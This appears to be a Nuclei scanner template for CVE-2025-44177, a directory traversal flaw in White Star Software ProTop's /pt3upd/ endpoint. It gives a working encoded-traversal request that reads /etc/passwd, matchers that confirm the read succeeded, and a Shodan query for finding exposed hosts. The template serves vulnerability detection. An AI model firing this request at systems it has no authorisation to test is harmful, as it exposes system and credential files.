White Star Software ProTop - Directory Traversal

id: CVE-2025-44177

info:
  name: White Star Software ProTop - Directory Traversal
  author: s-cu-bot
  severity: high
  description: |
    A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files from the operating system through encoded traversal sequences in the /pt3upd/ endpoint, potentially exposing sensitive configuration and credential files.
  remediation: |
    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
    - https://client.protop.co.za/
    - https://wss.com/
    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2025-44177
    epss-score: 0.04173
    epss-percentile: 0.89692
    cwe-id: CWE-22
    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: white-star-software
    product: protop
    shodan-query: html:"<title>ProTop"
  tags: cve,cve2025,lfi,traversal,protop,whitestar,vkev,vuln

http:
  - raw:
      - |
        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - 'application/octet-stream'
          - 'filename="passwd"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207e05319b1c8557942099badbc67347218d774573885bfbb4aa1e80f6aa42769e022100871ab3c77a601affcdb3d511ea2f92d9e6f2e903b28141b476da36ab1198d60f:922c64590222798bb761d5b6d8e72950